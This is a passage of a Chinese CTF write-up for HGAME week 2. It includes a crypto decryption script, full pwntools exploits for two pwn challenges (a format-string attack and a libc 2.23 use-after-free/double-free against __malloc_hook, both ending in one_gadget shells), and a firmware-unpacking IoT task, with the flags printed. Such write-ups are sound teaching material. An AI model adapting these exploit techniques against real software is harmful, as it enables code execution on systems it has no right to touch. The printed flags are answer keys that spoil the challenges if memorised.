c = [0x260202FA, 0x1B451064, 0x867B61F1, 0x228033C5, 0xF15D82DC, 0x9D8430B1, 0x19F2B1E7, 0x2BBA859C,
0x2A08291D, 0xDC707918]
key = [2233, 4455, 6677, 8899]
flag = b''
for i in range(len(c)-1):
```

```
    d = decrypt(c[-2:], key)
    flag = long_to_bytes(d[1])[::-1] + flag
    c = c[:-2] + [d[0]]

print(flag)

# b'e{d8c1d7d34573434ea8dfe5db40fbb25c0}'
```

补全flag头，flag：`hgame{d8c1d7d34573434ea8dfe5db40fbb25c0}`。

Pwn

YukkuriSay

> HINTS:
>
> 格式化占位符的值来自于函数的参数，同时64位程序传参不是只用寄存器的哦
>
> %n占位符是存在溢出的

打格式化字符串，分别泄露栈地址和 `__libc_start_main()` 地址求得libc基地址，再用one_gadget打即可。

```
from pwn import *

r = remote('week-2.hgame.lwsec.cn',30687)
elf = ELF('vuln')
libc = ELF("libc-2.31.so")

r.recvline()
r.send('a'*0x100)

stack_addr = u64(r.recvuntil('\x7f')[-6:]+'\x00'*2)-8
print(hex(stack_addr))

r.recvline()
r.sendline('Y')

r.send(p64(stack_addr)*0x20)
r.recvline()
r.sendline('n')

pl = '%45$p%4418c%8$hn'
r.send(pl)

r.recvuntil('0x')
libc_start_main = eval('0x'+r.recv(12))-243
libc_base = libc_start_main - libc.sym.__libc_start_main
print(hex(libc_base))
#r.recvline()

ogg = libc_base+0xe3b01
r.recvline()
pl = p64(stack_addr-224+2)+p64(stack_addr-224)
r.send(pl)

r.recvline()
r.sendline('n')

pl = '%'+str((ogg>>16)&0xff)+'c%8$hhn'+'%'+str((ogg&0xffff)-((ogg>>16)&0xff))+'c%9$hn'
r.send(pl)

r.interactive()
```

fast_note

libc 2.23 UAF，泄露 `__malloc_hook()` 地址求得libc基地址，double free后使用 `realloc()` 调试，使得满足one_gadget条件即可。

```
from pwn import *

r = remote('week-2.hgame.lwsec.cn',31341)
libc = ELF("libc-2.23.so")

def add(ind,size,content):
    r.sendlineafter('>','1')
```

```
    r.sendlineafter('Index: ',str(ind))
    r.sendlineafter('Size: ',str(size))
    r.sendafter('Content: ',content)

def free(ind):
    r.sendlineafter('>','2')
    r.sendlineafter('Index: ',str(ind))

def show(ind):
    r.sendlineafter('>','3')
    r.sendlineafter('Index: ',str(ind))

add(0,0x80,'a'*0x80)
add(1,0x80,'b'*0x80)
free(0)
show(0)

malloc_hook = u64(r.recv(6)+'\x00'*2)-104
libc_base = malloc_hook - libc.sym.__malloc_hook
print(hex(libc_base))

add(2,0x80,'a'*0x80)
add(3,0x60,'c'*0x60)
add(4,0x60,'d'*0x60)
add(5,0x60,'e'*0x60)

free(3)
free(4)
free(3)

add(6,0x60,p64(malloc_hook-0x23))
add(7,0x60,'f'*0x60)
add(8,0x60,'f'*0x60)

ogg = libc_base + 0xf1247
realloc = libc_base + libc.sym.realloc
print(hex(realloc))

add(9,0x60,'\x00'*0xb+p64(ogg)+p64(realloc+0x6))

r.sendlineafter('>','1')
r.sendlineafter('Index: ','10')
r.sendlineafter('Size: ','20')

r.interactive()
```

Iot

Pirated router

> 兔兔在回家的火车上,看到一个神秘的0tatoP在卖路由器,于是兔兔买了一个回家过年,但是这个路由器咋总感觉怪怪的

路由器bin固件文件，参考提取路由器固件中的squashfs文件系统unsquashfs提取方法，提取路由器固件中的squashfs。

安装squashfs后，使用binwalk分离bin文件：`binwalk -e AC10086W_FW_1.1.4.5.bin`，生成文件夹 `squashfs-root`，其中的squashfs文件，修改文件头为 `hsqs`。

利用 firmware-mod-kit 解包squashfs文件：`unsquashfs 1.squashfs`，在 `/bin` 目录中发现一个文件名比较特别的程序 `secret_program`，使用IDA查看逻辑，`main()` 函数中：

```
int __cdecl main(int argc, const char **argv, const char **envp)
{
  _OWORD v4[8]; // [xsp+10h] [xbp+10h]
  int v5; // [xsp+90h] [xbp+90h]
  unsigned int v6; // [xsp+98h] [xbp+98h]
  int i; // [xsp+9Ch] [xbp+9Ch]

  v4[0] = unk_4543B0;
  v4[1] = unk_4543C0;
  v4[2] = unk_4543D0;
  v4[3] = unk_4543E0;
  v4[4] = unk_4543F0;
  v4[5] = unk_454400;
  v4[6] = unk_454410;
  v4[7] = unk_454420;
  v5 = 94;
  v6 = 35;
  for ( i = 0; i <= 32; ++i )
```

```
    printf(&unk_4543A8, *((_DWORD *)v4 + i) ^ v6);
  return 0;
}
```

提取数据，简单异或操作还原：

```
s = [75, 68, 66, 78, 70, 88, 86, 77, 83, 23, 64, 72, 18, 77, 68, 124, 69, 74, 81, 78, 84, 66, 81, 70, 124, 18,
80, 124, 16, 98, 80, 90, 94]
ss = [k^35 for k in s]
print(bytes(ss))

# b'hgame{unp4ck1ng_firmware_1s_3Asy}'
```